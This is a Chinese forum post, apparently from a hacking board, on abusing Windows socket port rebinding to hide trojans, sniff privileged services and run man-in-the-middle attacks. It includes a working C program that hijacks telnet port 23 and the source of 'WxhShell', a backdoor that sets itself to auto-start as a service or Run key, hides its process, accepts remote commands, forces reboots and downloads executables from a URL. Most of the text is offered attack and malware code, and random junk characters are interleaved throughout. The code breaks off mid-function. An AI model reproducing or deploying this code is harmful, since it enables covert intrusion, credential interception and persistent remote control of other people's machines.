社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15748阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CbW[_\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IY8<^Q']  
cr<j<#(Z}  
  saddr.sin_family = AF_INET; yGNpx3H  
KAD2_@l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 3uxf n=E  
tFc<f7k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S[q:b .  
*k;bkd4x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )+'=Zvgej=  
9xj }<WM  
  这意味着什么?意味着可以进行如下的攻击: 1fsNQ!vQP  
F .Zk};lb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C>x)jDb?  
uF|_6~g  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Dn J `]r  
WEX7=^k9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^X+qut+~  
/YUW)?o!^N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i ]8bj5j{  
_b/zBFa%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {]8|\CcY?  
gED|2%BXb  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *xpn-hCp<  
jSHFY]2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 spm)X-[1  
Zzg zeT+bv  
  #include )-1e} VF(U  
  #include 1$Q[%9  
  #include H[nBNz)C  
  #include    %{4 U\4d@'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !ry+{v+A  
  int main() dmXfz D  
  { o+x! (  
  WORD wVersionRequested; M^8zqAA  
  DWORD ret; =O"]e/CfO  
  WSADATA wsaData; <z2.A/L  
  BOOL val; r<n:o7  
  SOCKADDR_IN saddr; 9O-~Ws ;  
  SOCKADDR_IN scaddr; et~D9='E  
  int err; ,aUbB8  
  SOCKET s; 0iZeU:FE  
  SOCKET sc;  )sdHJ  
  int caddsize; x=xo9wEg  
  HANDLE mt; c%hXj#;  
  DWORD tid;   t bR  
  wVersionRequested = MAKEWORD( 2, 2 ); elhP!"G  
  err = WSAStartup( wVersionRequested, &wsaData ); ;Wy03}K4J  
  if ( err != 0 ) { hZ>m:es  
  printf("error!WSAStartup failed!\n"); KWjhkRK4]  
  return -1; a}f /<-L  
  } 7?uDh'utt  
  saddr.sin_family = AF_INET; +x`pWH]2  
   PDw+Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 sT!?nn3O`  
kO*\JaD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '6){~ee S  
  saddr.sin_port = htons(23); 6Y\TVRR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W).Kq-  
  { oz.z>+Q  
  printf("error!socket failed!\n"); 0{ B<A^Bf  
  return -1; j2IK\~W?-  
  } SE'|||B  
  val = TRUE; DMsqTB`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !e<2o2~.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gI2'[OU  
  { _<mY|  
  printf("error!setsockopt failed!\n"); cMT:Ij];  
  return -1; ?.F^Oi6 u  
  } f&^"[S"\f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; DjN1EP\Xx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pGR3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j0~c2  
\6/ Gy!0h-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FGP^rTP)e  
  { e4Qjx*[G  
  ret=GetLastError(); PPySOkmS3  
  printf("error!bind failed!\n"); vdgK3I  
  return -1; >0ZG&W9  
  } @|t]9  
  listen(s,2); w0j'>4  
  while(1) sUc[!S:/  
  { fa/o4S<  
  caddsize = sizeof(scaddr); ^{=UKf{  
  //接受连接请求 +2eri_p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B[7,Hy,R  
  if(sc!=INVALID_SOCKET) yF6AI@y  
  { '/ \*l<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GT] >  
  if(mt==NULL) oxeu%wj_  
  { s#a`e]#?  
  printf("Thread Creat Failed!\n"); P/[RH e  
  break; t>N2K-8Qh  
  } 2SlL`hN>Z  
  } G}l9 [lE  
  CloseHandle(mt); l(_|CkcZ  
  } p9 ,[kb  
  closesocket(s); H{N},B  
  WSACleanup(); XY? Cl  
  return 0; AD`5:G  
  }   H? z~V-8  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2BF455e   
  { O:rf DO  
  SOCKET ss = (SOCKET)lpParam; GJQ>VI2cY  
  SOCKET sc; fDW:|%{Y,  
  unsigned char buf[4096]; 4\|Q;@f  
  SOCKADDR_IN saddr; b3[!1i  
  long num; BGj!/E  
  DWORD val; T _UJ?W  
  DWORD ret; gXs9qY%=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7R79[:uwJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `'XN2-M8  
  saddr.sin_family = AF_INET; J;wBS w%1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OS<GAA0  
  saddr.sin_port = htons(23); 6m]?*k1HC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z(%tu  
  { #7'k'(  
  printf("error!socket failed!\n"); ~&ns?z>x  
  return -1; m6K7D([f  
  } 2NjgLXP  
  val = 100; k+"7hf=C|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w nQy   
  { Srmr`[i  
  ret = GetLastError(); ',]Aj!q  
  return -1; L'KKU4zj  
  } DOFW"SpE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i={4rZOD^  
  { CC3 i@  
  ret = GetLastError(); WW6-oQs_#*  
  return -1; q&9]4j  
  } C|IHRw`[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "bRjY?D  
  { DQ/rx`BG  
  printf("error!socket connect failed!\n"); u$5.GmKm  
  closesocket(sc); 8Ara^Xh}q  
  closesocket(ss); pYAKA1F  
  return -1; K$}K2w  
  } $?z} yx$  
  while(1) <=6F=u3PtU  
  { 1oiSmW\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M,ybj5:6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :XAyMK7   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yN`&oya  
  num = recv(ss,buf,4096,0); t$VRNZ`dy  
  if(num>0) Ue Z(@6_:  
  send(sc,buf,num,0); ZQ`4'|"  
  else if(num==0) r 20!   
  break; 90iveb21}  
  num = recv(sc,buf,4096,0); jxm#4  
  if(num>0) MxX)&327  
  send(ss,buf,num,0); kiyKL:6D|  
  else if(num==0) [hot,\+f  
  break; <wFmfrx+v  
  } ONpvx5'#  
  closesocket(ss);  gsi2  
  closesocket(sc); KTmwkZcfYD  
  return 0 ; q)C Xu  
  } adri02C/  
H<ovIMd  
IaRwPDj6  
========================================================== F|!=]A<  
UfO='&U^  
下边附上一个代码,,WXhSHELL &#u\@Qze  
ALO/{:l(  
========================================================== ^jS1g*nrN  
u^^jt(j  
#include "stdafx.h" Dt7z<1-)l  
Lh-Y5(c o  
#include <stdio.h> SCMvq?9  
#include <string.h> ]lyQ*gM  
#include <windows.h> ) d'H&c3  
#include <winsock2.h> 6?.S-.Mr  
#include <winsvc.h> 6nsb)7a  
#include <urlmon.h> 0i8\Lu6  
4 )}>dxv  
#pragma comment (lib, "Ws2_32.lib") l]t^MEoc8  
#pragma comment (lib, "urlmon.lib") l'2vo=IQ  
M3!;u%~} s  
#define MAX_USER   100 // 最大客户端连接数 Z vC?F=tH  
#define BUF_SOCK   200 // sock buffer ZR)M<*$  
#define KEY_BUFF   255 // 输入 buffer iKaS7lWH  
0d:t=LKw)  
#define REBOOT     0   // 重启 :wRfk*Ly  
#define SHUTDOWN   1   // 关机 sD?Ynpt  
v;?W|kJ.u  
#define DEF_PORT   5000 // 监听端口 uhaHY`w  
Ywt9^M|z;  
#define REG_LEN     16   // 注册表键长度 -%>Tjo@B n  
#define SVC_LEN     80   // NT服务名长度 qSD`S1'2;  
? ][/hL@[  
// 从dll定义API _*sd#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n[i:$! ,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [GK## z'5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,d.5K*?aI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W:wSM *  
k+i0@G'C(  
// wxhshell配置信息 NaQ~iY?  
struct WSCFG { OaoHN& "  
  int ws_port;         // 监听端口 \f Kn} ]kG  
  char ws_passstr[REG_LEN]; // 口令 ei1;@k/  
  int ws_autoins;       // 安装标记, 1=yes 0=no b"td]H3h  
  char ws_regname[REG_LEN]; // 注册表键名 n) HV:8j~  
  char ws_svcname[REG_LEN]; // 服务名 4XiQ8"C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %Y#W#G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `RURC"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &E!m(|6?+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $5\sV48f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <pG 4 g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h5aPRPUg  
gth_Sz5!#  
}; zt|1tU:  
=\i%,YY  
// default Wxhshell configuration #1}%=nAsi  
struct WSCFG wscfg={DEF_PORT, ;Tq4!w'rH  
    "xuhuanlingzhe", apM)$  
    1, E/1:4?1 S  
    "Wxhshell", `GY]JVW  
    "Wxhshell", `W1TqA  
            "WxhShell Service", c;yp}k]\  
    "Wrsky Windows CmdShell Service", $ 6r> Tc](  
    "Please Input Your Password: ", +yk0ez  
  1, e&[~}f?  
  "http://www.wrsky.com/wxhshell.exe", w_QWTD 0  
  "Wxhshell.exe" , :KJ({wM  
    }; s6;ZaU  
.p'McCV=  
// 消息定义模块 w9gfva$&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (otD4VR_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T|(w-)mv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G(F=6L~;  
char *msg_ws_ext="\n\rExit."; O_ $zK  
char *msg_ws_end="\n\rQuit."; [z;}^3b  
char *msg_ws_boot="\n\rReboot..."; m*7RC4"J  
char *msg_ws_poff="\n\rShutdown..."; 23bTCp.d  
char *msg_ws_down="\n\rSave to "; A~0yMww:$  
k"/}9[6:U5  
char *msg_ws_err="\n\rErr!"; x @9rc,by  
char *msg_ws_ok="\n\rOK!"; Lke!VS!P&  
2*n~r  
char ExeFile[MAX_PATH]; Ib/e\+H\  
int nUser = 0; 4Uwcc):f  
HANDLE handles[MAX_USER]; v`7~#Avhz  
int OsIsNt; ~ `{{Z&  
A&-2f]L tl  
SERVICE_STATUS       serviceStatus; ,^v_gc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =XSupM[T  
-B7X;{  
// 函数声明 'XYjo&w  
int Install(void); )7E7K%:b,  
int Uninstall(void); k%N$eO$  
int DownloadFile(char *sURL, SOCKET wsh); Vm I Afe  
int Boot(int flag); ?4W6TSW-'  
void HideProc(void); 3Dj>U*fP  
int GetOsVer(void); :F"NF  
int Wxhshell(SOCKET wsl); cvtn,Ml6  
void TalkWithClient(void *cs); 7s0y.i~  
int CmdShell(SOCKET sock); bQ0+Y?,+/  
int StartFromService(void); NVf_#p"h  
int StartWxhshell(LPSTR lpCmdLine); 5GJa+St?  
dg(sRTi{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^p%3@)&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mt~2&$>  
pYUQSsqC  
// 数据结构和表定义 @zt"Y~9i  
SERVICE_TABLE_ENTRY DispatchTable[] = <hgfgk7<  
{ f/,8sGkX;  
{wscfg.ws_svcname, NTServiceMain}, qyY/:&E,Z  
{NULL, NULL} n2'XWbMaL  
}; criNeKa  
kp)1s>c  
// 自我安装 [ 4PiQyr  
int Install(void) d=g,s[FMm  
{ !(j<Y0xo:  
  char svExeFile[MAX_PATH]; =C^4nP-  
  HKEY key; ZNDjk  
  strcpy(svExeFile,ExeFile); QbWeQ[V{  
)fke;Y0  
// 如果是win9x系统,修改注册表设为自启动 i>pUTT _[  
if(!OsIsNt) { mJVru0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]qk`Yi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q$yQ^ mG  
  RegCloseKey(key); Qg o| \=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X#MC|Fzy@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m='_ O+ $  
  RegCloseKey(key); @.QuIm8,  
  return 0; QT(]S>--n  
    } MBol_#H  
  } Fj&8wZ)v)  
} ).MV1@s  
else { oPF n`8dQ  
uUv^]B 8GM  
// 如果是NT以上系统,安装为系统服务 +\cG{n*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1w 9zl}  
if (schSCManager!=0) @Ps1.  
{ 3#`Sk`z<  
  SC_HANDLE schService = CreateService Te>m9Pav  
  ( sA,2gbW  
  schSCManager, Z =*h9,MY  
  wscfg.ws_svcname, ~yRKNH*M  
  wscfg.ws_svcdisp, _G^4KwYp  
  SERVICE_ALL_ACCESS, TSRl@QVy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RAxp2uif  
  SERVICE_AUTO_START, J@4 Z+l9  
  SERVICE_ERROR_NORMAL, 0y;1D k!  
  svExeFile, nc#} \  
  NULL, M&rbXi.  
  NULL, lBG"COu  
  NULL, Yjx4H  
  NULL, xl(R|D))  
  NULL 'FG@Rg (  
  ); `] Zil8n  
  if (schService!=0) X;dUlSi  
  { <$ ` ^  
  CloseServiceHandle(schService); 9_%??@^>  
  CloseServiceHandle(schSCManager); ?r.U5}PBI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <x:^w'V_b  
  strcat(svExeFile,wscfg.ws_svcname); a#/~rNRY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )=#zMdK&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gnie|[3  
  RegCloseKey(key); ooN?x31  
  return 0; >#5jO9  
    } mk3,ke8  
  } }FkF1?C  
  CloseServiceHandle(schSCManager); :-T[)Q+-3  
} gt(!I^LHYc  
} Gmmh&Uj  
[5MV$)"!j  
return 1; Ot~buf'|  
} %?O$xQ.<  
TA"gU8YQ  
// 自我卸载 x\Kt}/97e  
int Uninstall(void) wQOIUvd  
{ "Q1oSpF  
  HKEY key; W`jKe-jF  
zm=|#f  
if(!OsIsNt) { =n_>7@9l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &^F'ME  
  RegDeleteValue(key,wscfg.ws_regname); -EWC3,3  
  RegCloseKey(key); 4FJA+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SA,+oq(  
  RegDeleteValue(key,wscfg.ws_regname); ded:yho   
  RegCloseKey(key); )p 8P\Rl  
  return 0;  ]l=iKl  
  } aydf# [F  
} *#o2b-[V  
}  0gJ{fcI  
else { ua%j}%G(  
|k/;1.b!9(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yOm#c>X  
if (schSCManager!=0) sbq:8P#  
{ ?#/~ BZR!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tr%VYc|}  
  if (schService!=0) "0?" E\  
  { 207h$a,  
  if(DeleteService(schService)!=0) { T2ZN=)xZ1  
  CloseServiceHandle(schService); |h2=9\:]  
  CloseServiceHandle(schSCManager); 81S0:=   
  return 0; \`>f?}4  
  } -dH]_  
  CloseServiceHandle(schService); ujeN|W  
  } d{c06(#_  
  CloseServiceHandle(schSCManager); #9]O92t2UV  
} ^-qz!ib  
} f.ws\^v%  
'6f)^DYA'?  
return 1; Zy^ wS1io  
} m/aA q8  
)C0 y<:</  
// 从指定url下载文件 M HKnHPv  
int DownloadFile(char *sURL, SOCKET wsh) f(*iagEy  
{ <-=g)3_  
  HRESULT hr; tjcG^m} _  
char seps[]= "/"; {[r}gS%  
char *token; ZE6W"pbjU  
char *file; %ERR^  
char myURL[MAX_PATH]; V6r*fEhrT_  
char myFILE[MAX_PATH]; ?q}:ojrs1  
\|C~VU@  
strcpy(myURL,sURL); {:`XhPS<B  
  token=strtok(myURL,seps); YZ/2 :[b  
  while(token!=NULL) 'F Cmbry  
  { l +# FoN  
    file=token; E5t /-4  
  token=strtok(NULL,seps); W-4R;!42  
  } 94u~:'t>V  
xnC5WF7  
GetCurrentDirectory(MAX_PATH,myFILE); 'OsRQ)E  
strcat(myFILE, "\\"); %[k"A  
strcat(myFILE, file); JYa3xeC;  
  send(wsh,myFILE,strlen(myFILE),0); jUrUM.CJ\N  
send(wsh,"...",3,0); p1 mY!&e(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !~ZAm3GwL  
  if(hr==S_OK) 3U[:N &Jb  
return 0; 7G  3e  
else |:LklpdYe  
return 1; m/ngPeZ  
3ZX#6*(}2  
} He  LW*  
Ap!i-E,"J  
// 系统电源模块 !w:pb7+G  
int Boot(int flag) E#c9n%E\sz  
{ D]+@pK b  
  HANDLE hToken; +pbP;zu  
  TOKEN_PRIVILEGES tkp; He}"e&K  
UMlvu?u2p1  
  if(OsIsNt) { dRXrI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LCok4N$o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ksvk5r&y  
    tkp.PrivilegeCount = 1; O2oF\E_6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Twpk@2=l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '$q3Ze  
if(flag==REBOOT) { q 7hoI]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uUh6/=y  
  return 0; MUMB\K*$  
} F2dwT  
else { !>6`+$=U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nq[-.}Z6  
  return 0; \N)!]jq  
} .!_^<c6  
  } >\!k~Zi  
  else { *xDV8iu_  
if(flag==REBOOT) { I\('b9"*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fs8C ^Ik>~  
  return 0; "VA'W/yv!  
} R{{?wr6b$  
else { XZj3x',;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [.nkNda5)v  
  return 0; (O'O #AD  
} zz-X5PFn  
} 8n/[oDc]  
Nd**":i$  
return 1; M#xol/)h  
} UW-`k1  
^'4I%L"  
// win9x进程隐藏模块 d@{#F"o  
void HideProc(void) SHqz &2u  
{ N`7+] T  
/n3SE0Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P7;q^jlB  
  if ( hKernel != NULL ) "QM2YJ55m`  
  { t[\6/`YH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9&1$\ZH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f!JSb?#3  
    FreeLibrary(hKernel); bJFqyK:6  
  } [q(}~0{"-  
kDc/]Zb%  
return; \;!g@?CA  
} J|e3 UikA  
XknbcA|  
// 获取操作系统版本 NP$ D9#   
int GetOsVer(void) $%5vJiuk  
{ G:Nwi=vN  
  OSVERSIONINFO winfo; {hx=6"@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j]6YLM@5$  
  GetVersionEx(&winfo); gflO0$i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p I@!2c:}  
  return 1; ,UneS  
  else ! Y'~?BI  
  return 0; |6~ Kin  
} ^aY,Wq  
?r^>Vk}  
// 客户端句柄模块 *ub"!}$st  
int Wxhshell(SOCKET wsl) c1g'l.XL 3  
{ (_eM:H=e>  
  SOCKET wsh; ^1X 6DH`  
  struct sockaddr_in client; U6~79Hnt  
  DWORD myID; (o1o);AO  
D^A#C<Gs  
  while(nUser<MAX_USER) C40W@*6S2  
{ T,v5cc:nO  
  int nSize=sizeof(client); G[Jz(/yNH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TGI`}#  
  if(wsh==INVALID_SOCKET) return 1; Y2(,E e2  
M[^EHa<i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?1Uq ud  
if(handles[nUser]==0) ;i&t|5y~  
  closesocket(wsh); r\m2Oo)]  
else !GtCOr\'  
  nUser++; 6jz~q~ I  
  } =${ImMwj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); # 0/,teJ k  
6R!AIOD>  
  return 0; MG74,D.f  
} T@Th?  
BU=Ta$#BZ  
// 关闭 socket qino:_g  
void CloseIt(SOCKET wsh) Q$~_'I7~Mz  
{ ?wMS[Kj  
closesocket(wsh); )7a 4yTg!~  
nUser--; "Fqrk>Q~  
ExitThread(0); r[AqA  
} &dJ\}O[r  
\n0MqXs#  
// 客户端请求句柄 ShMP_?]P  
void TalkWithClient(void *cs) saR9_ ux  
{ p i\SRDP  
qj,^"rp1:  
  SOCKET wsh=(SOCKET)cs; sKDL=c;?j  
  char pwd[SVC_LEN]; JO\KTWtjO  
  char cmd[KEY_BUFF]; zc!q a"4yM  
char chr[1]; yz_xWx#9  
int i,j; ^c:I]_Ww  
=v~$&@  
  while (nUser < MAX_USER) { Q=#!wWVP  
Lq{/r+tt/  
if(wscfg.ws_passstr) { DO ,7vMO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tD No; f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (0zYS_m A  
  //ZeroMemory(pwd,KEY_BUFF); l#|M.V6G  
      i=0; &F|Wk,y  
  while(i<SVC_LEN) { qQCds}<w  
Z/b,aZhB  
  // 设置超时 B-tLRLWn   
  fd_set FdRead; ^-7-jZ@jz  
  struct timeval TimeOut; }Z% j=c"d  
  FD_ZERO(&FdRead); wW0m}L  
  FD_SET(wsh,&FdRead); >TS=tK  
  TimeOut.tv_sec=8; |=EwZ mj-c  
  TimeOut.tv_usec=0; 1Ewg_/R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PpR eqmo  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); );fPir?+  
Hu$JCB-%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wy?Hp*E  
  pwd=chr[0]; @gihIysf  
  if(chr[0]==0xd || chr[0]==0xa) { (:|1h@K/R  
  pwd=0; "oT]_WHqo  
  break; lsB.>NlU  
  } PF: E{_~  
  i++; *|)O  
    } 'd9cCQ}  
d x"9jFn  
  // 如果是非法用户,关闭 socket p&3~n: Fo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bE2{^5iG  
} A9M/n^61  
RJLhR_t7n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jN2Xoh9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (eO_]<wmky  
q4ej7T8  
while(1) { @{x+ln1r  
;Yn_*M/*  
  ZeroMemory(cmd,KEY_BUFF); P !~B07y  
jQ5FvuNOy  
      // 自动支持客户端 telnet标准   @1)C3(=A  
  j=0; 7kQ,D,c'  
  while(j<KEY_BUFF) { -|_io,eL;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fo&ecWhw  
  cmd[j]=chr[0]; kud2O>>  
  if(chr[0]==0xa || chr[0]==0xd) { &A~(9IV  
  cmd[j]=0; gYfOa`k  
  break; ^uIKwql  
  } 73(5.'F  
  j++; %)j^>W5  
    } d(6&kXK  
zK&J2P`  
  // 下载文件 f9J]-#Iif  
  if(strstr(cmd,"http://")) { l[{Ci|4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o)Nm5g  
  if(DownloadFile(cmd,wsh)) 5C"A*Fg?;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2T}FX4'  
  else *mfPq"/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +yIO  
  } xwu,<M v `  
  else { UJGmaE  
a8r+G]Z  
    switch(cmd[0]) { StM)lVeF  
  pqxBu  
  // 帮助 3G-f+HN^E  
  case '?': { }t5pz[zl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'K3%@,O  
    break; {m 5R=22^  
  } LX iis)1  
  // 安装 ? p^':@=  
  case 'i': { KPs @v@5M  
    if(Install()) )\,hc$<=m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d,%@*v]S  
    else KS(Ms*k;'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zj2tQ}N  
    break; QNCG^ub  
    } _CXXgF[OCA  
  // 卸载 u"M^qRhD  
  case 'r': { [:-o;K\.-a  
    if(Uninstall()) wvg>SfV,e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  B<?fD  
    else >?0f>I%\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D_Cd^;b  
    break; 6Pu5 k;H  
    } nv"D  
  // 显示 wxhshell 所在路径 ?c# v'c^=h  
  case 'p': { 4p_@f^v~QH  
    char svExeFile[MAX_PATH]; HH,G3~EBF  
    strcpy(svExeFile,"\n\r"); p4I6oS`/.  
      strcat(svExeFile,ExeFile); ~CL^%\K  
        send(wsh,svExeFile,strlen(svExeFile),0); 1dX)l  
    break; t&Z:G<;  
    } qf6}\0   
  // 重启 SZ"^>}zl=  
  case 'b': { Q5qQ%cu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y([vma>U]  
    if(Boot(REBOOT)) sBD\;\I  
